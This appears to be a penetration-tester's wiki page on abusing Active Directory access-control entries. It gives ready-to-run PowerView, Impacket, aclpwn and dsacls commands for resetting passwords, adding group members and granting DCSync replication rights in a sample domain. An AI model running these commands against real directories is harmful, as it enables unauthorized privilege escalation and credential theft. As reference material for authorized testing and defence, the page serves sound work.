> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/acl-abuse.md).

# ACL Abuse

* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces>
* <https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>
* <https://www.thehacker.recipes/active-directory-domain-services/movement/access-control-entries#exploitation-paths>
* <https://www.praetorian.com/blog/how-to-exploit-active-directory-acl-attack-paths-through-ldap-relaying-attacks/>
* <https://habr.com/ru/articles/809485/>

![Abusing ACEs Mindmap](https://raw.githubusercontent.com/Orange-Cyberdefense/arsenal/master/mindmap/ACEs_xmind.png)

## BloodHound

* <https://habr.com/ru/company/solarsecurity/blog/681108/>

![ACL BloodHound abuse hierarchy (by @HackAndDo)](/files/-MasFHmB93xr3ii03_0s)

Some AD object security permissions abusable with PowerView / SharpView:

* **ForceChangePassword** abused with `Set-DomainUserPassword`
* **AddMembers** abused with `Add-DomainGroupMember`
* **GenericAll** abused with `Set-DomainUserPassword` or `Add-DomainGroupMember`
* **GenericWrite** abused with `Set-DomainObject`
* **WriteOwner** abused with `Set-DomainObjectOwner`
* **WriteDACL** abused with `Add-DomainObjectACL`
* **AllExtendedRights** abused with `Set-DomainUserPassword` or `Add-DomainGroupMember`

### ForceChangePassword

* <https://www.thehacker.recipes/a-d/movement/dacl/forcechangepassword>
* <https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/>

From Linux with further recovery:

```
$ net rpc password j.doe 'NewPassw0rd!' -U megacorp.local/snovvcrash%'Passw0rd!' -S 192.168.1.11
$ smbpasswd.py -hashes :5fe2a4a4f217609a8e063620954d502a megacorp.local/j.doe@192.168.1.11 -newhashes :fc525c9683e8fe067095ba2ddc971889 -altuser MEGACORP/administrator -althash ce2aa0a2629f80107e8ad6ad6c4f94a3 -admin
$ changepasswd.py megacorp.local/j.doe:'NewPassw0rd!'@DC01.megacorp.local -newhashes :fc525c9683e8fe067095ba2ddc971889 -altuser MEGACORP/administrator -k -no-pass -dc-ip 192.168.1.11 -reset
```

## SDDL

* <https://habr.com/ru/company/pm/blog/442662/>
* [0xdf.gitlab.io/2020/01/27/digging-into-psexec-with-htb-nest.html](https://0xdf.gitlab.io/2020/01/27/digging-into-psexec-with-htb-nest.html)
* [0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html](https://0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html)
* <https://itconnect.uw.edu/wares/msinf/other-help/understanding-sddl-syntax/>
* <https://github.com/t94j0/sddl_py>

Let's say that the ACE on object **A** applies to object **B**. This grants or denies object **B** access to object **A** with the specified access rights.

ACE example in SDDL format:

```
(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)

AceType:
A = ACCESS_ALLOWED_ACE_TYPE

Access rights:
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL

Ace Sid:
S-1-1-0
```

## Hunt for ACLs

### ActiveDirectory

Enumerate ACLs which `snovvcrash` user possesses against `j.doe` user:

```
PS > (Get-ACL "AD:$((Get-ADUser j.doe).distinguishedName)").access | ? {$_.IdentityReference -eq "MEGACORP\snovvcrash"}
```

Enumerate which users possess `GenericAll` or `AllExtendedRights` permission against `j.doe` user:

```
PS > (Get-ACL "AD:$((Get-ADUser j.doe).distinguishedName)").access | ? {$_.ActiveDirectoryRights -match "GenericAll|AllExtendedRights"} | select IdentityReference,ActiveDirectoryRights -Unique | ft -W
```

PowerView analog + excluding 3-digit RIDs:

```
PV3 > Get-DomainObjectAcl -Identity j.doe -Domain megacorp.local -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|AllExtendedRights" -and $_.SecurityIdentifier -match "<SID>-[\d]{4,10}"} | select SecurityIdentifier | sort -Property SecurityIdentifier -Unique
PV3 > ConvertFrom-SID <SECURITY_IDENTIFIER>
```

Find all users who can DCSync and convert their SIDs to names:

```
PV3 > $dcsync = Get-ObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|Replication-Get"} | select -ExpandProperty SecurityIdentifier | select -ExpandProperty value
PV3 > Convert-SidToName $dcsync
```

### PowerView2

Search for interesting ACLs:

```
PV2 > Invoke-ACLScanner -ResolveGUIDs
```

Check if the attacker "MEGACORP\sbauer" has `GenericWrite` permissions on the "jorden" user object:

```
PV2 > Get-ObjectAcl -samAccountName jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "*GenericWrite*" -and $_.IdentityReference -eq "MEGACORP\sbauer"}

InheritedObjectType   : All
ObjectDN              : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL  <== Victim (jorden)
ObjectType            : All
IdentityReference     : MEGACORP\sbauer  <== Attacker (sbauer)
IsInherited           : False
ActiveDirectoryRights : GenericWrite
PropagationFlags      : None
ObjectFlags           : None
InheritanceFlags      : ContainerInherit
InheritanceType       : All
AccessControlType     : Allow
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-3110
```

### PowerView3

Search for interesting ACLs:

```
PV3 > Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceClass -match "user"}
```

Check if the attacker "MEGACORP\sbauer" (`S-1-5-21-3167813660-1240564177-918740779-3102`) has `GenericWrite` permissions on the "jorden" user object:

```
PV3 > Get-DomainObjectAcl -Identity jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "*GenericWrite*" -and $_.SecurityIdentifier -eq "S-1-5-21-3167813660-1240564177-918740779-3102"}

AceType               : AccessAllowed
ObjectDN              : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL
ActiveDirectoryRights : GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-3110  <== Victim (jorden)
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3167813660-1240564177-918740779-3102  <== Attacker (sbauer)
AccessMask            : 131112
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed
```

{% hint style="info" %}
The `-ResolveGUIDs` switch shows `ObjectType` and `InheritedObjectType` properties in a human readable form (not in GUIDs).
{% endhint %}

PowerView 3.0 does not return `IdentityReference` property, which makes it less handy for this task (however, you may filter the output by the attacker's SID). To automatically convert SIDs to names we can use the following loop:

```
PV3 > Get-DomainObjectAcl -Identity snovvcrash -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}
```

### powerview\.py

```
PS > Get-DomainObjectAcl -Identity DC01$ -ResolveGUIDs -Where "SecurityIdentifier contains 'Exchange Windows Permissions'" -Select AccessMask,ObjectAceType
```

## Abuse GenericAll

Find domain users that current user has `GenericAll` access right to:

```
PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} ? {$_.ActiveDirectoryRights -like "*GenericAll*"}
```

The attacker can change password of discovered users:

```
Cmd > net user snovvcrash Passw0rd! /domain
```

Find domain groups that current user has `GenericAll` access right to:

```
PV3 > Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} ? {$_.ActiveDirectoryRights -like "*GenericAll*"}
```

The attacker can add users to discovered groups:

```
Cmd > net group "IT Desk" snovvcrash /add /domain
```

Enable/disable AD account remotely via [ldap\_shell](https://github.com/PShlyundin/ldap_shell):

```
$ python3 -m ldap_shell -k -no-pass megacorp.local/snovvcrash -dc-ip 192.168.1.11 -dc-host DC01
snovvcrash# enable_account j.doe
snovvcrash# disable_account j.doe
```

## Abuse WriteDACL

Find domain groups that current user has `WriteDACL` access right to:

```
PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} | ? {$_.ActiveDirectoryRights -like "*WriteDacl*"}
```

The attacker can take the full control of discovered groups and then add a users to them:

```
PV3 > Add-DomainObjectAcl -TargetIdentity "IT Desk" -PrincipalIdentity snovvcrash -Domain tricky.com -Rights All -Verbose
PV3 > Add-DomainGroupMember -Identity "IT Desk" -Members snovvcrash -Verbose
```

{% hint style="info" %}
Group membership will take its sweet time to be updated within target user's TGT. To [force](http://woshub.com/how-to-refresh-ad-groups-membership-without-user-logoff/) the update one may purge existing tickets and request new TGT:

```
Cmd > klist purge
Cmd > gpupdate /force
Cmd > dir \\dc1.megacorp.local\c$
```

{% endhint %}

## Exchange Windows Permissions

Privilege escalation with ACLs in AD by example of the `Exchange Windows Permissions` domain group.

Add user to the `Exchange Windows Permissions` group:

```
PS > Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members snovvcrash
```

### Add DCSync Rights

Using **aclpwn.py**:

* <https://github.com/fox-it/aclpwn.py>
* <https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound>
* <https://www.puckiestyle.nl/aclpwn-py/>

```
$ aclpwn -f snovvcrash -ft user -t megacorp.local -tt domain -d megacorp.local -du neo4j -dp neo4j --server 127.0.0.1 -u snovvcrash -p 'Passw0rd!' -sp 'Passw0rd!'
```

Using Impacket [**ntlmrelayx.py**](https://github.com/fortra/impacket/blob/50c76958706577a5005bec2ee1fda9e9fa669a65/impacket/examples/ntlmrelayx/attacks/ldapattack.py#L293):

```
PS > IWR http://10.10.13.37 -UseDefaultCredentials
$ ntlmrelayx.py -t ldap://DC01.megacorp.local --escalate-user snovvcrash --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs
```

Using Impacket **dacledit.py**:

```
$ dacledit.py megacorp.local/snovvcrash:'Passw0rd!' -action write -rights DCSync -principal snovvcrash -target-dn 'DC=megacorp,DC=local' -dc-ip 192.168.1.11
```

Using **PowerView2**:

```
PV2 > Add-ObjectAcl -TargetDistinguishedName "DC=megacorp,DC=local" -PrincipalName snovvcrash -Rights DCSync -Verbose
```

Using **PowerView3**:

```
PS > $cred = New-Object System.Management.Automation.PSCredential("snovvcrash", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force))
PV3 > Add-DomainObjectAcl -TargetIdentity "DC=megacorp,DC=local" -PrincipalIdentity snovvcrash -Credential $cred -Rights DCSync -Verbose
```

Using PowerShell **ActiveDirectory**:

* <https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md>

1. Get ACL for the root domain object.
2. Get SID for the account to be given DCSync rights.
3. Create a new ACL and within it set "Replicating Directory Changes" (GUID `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`) and "Replicating Directory Changes All" (GUID `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`) rights for the SID from (2).
4. Apply changes.

```
PS > Import-Module ActiveDirectory
PS > $acl = Get-Acl "AD:DC=megacorp,DC=local"
PS > $user = Get-ADUser snovvcrash
PS > $sid = New-Object System.Security.Principal.SecurityIdentifier $user.SID
PS > $objectGuid = New-Object guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
PS > $identity = [System.Security.Principal.IdentityReference] $sid
PS > $adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
PS > $type = [System.Security.AccessControl.AccessControlType] "Allow"
PS > $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > $objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > Set-Acl -AclObject $acl "AD:DC=megacorp,DC=local"
```

Using **ADSI** and **dsacls.exe**:

* <https://gist.github.com/jfmaes/404b45d542fc07db51e6e07d8ebb79b9>

```
PS > $dse = [ADSI]"LDAP://Rootdse"
PS > $namingContext = $dse.defaultNamingContext
PS > dsacls.exe $namingContext /G snovvcrash":CA;Replicating Directory Changes All" snovvcrash":CA;Replicating Directory Changes"
```

Clean up:

```
PV3 > Remove-DomainObjectAcl -TargetIdentity megacorp.local -PrincipalIdentity snovvcrash -Rights DCSync
```

## Managed Security Groups

* <https://stealthbits.com/blog/exploiting-weak-active-directory-permissions-with-powersploit/>

Returns all security groups in the current (or target) domain that have a manager set:

```
PV3 > Get-DomainManagedSecurityGroup

GroupName                : Security Operations
GroupDistinguishedName   : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL
ManagerName              : john.doe
ManagerDistinguishedName : CN=John Doe,OU=Security,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL
ManagerType              : User
ManagerCanWrite          : UNKNOWN
```

Enumerate the ACLs set on this group. `GenericWrite` privilege means that the user can modify group membership:

```
PV3 > $sid = ConvertTo-SID john.doe
PV3 > Get-DomainObjectAcl -Identity 'Security Operations' | ? {$_.SecurityIdentifier -eq $sid}

ObjectDN              : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-2549
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 131132
SecurityIdentifier    : S-1-5-21-3167813660-1240564177-918740779-1874
AceType               : AccessAllowed
AceFlags              : ContainerInherit
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None
AuditFlags            : None
```

## Tools

### Aced

* <https://github.com/garrettfoster13/aced>
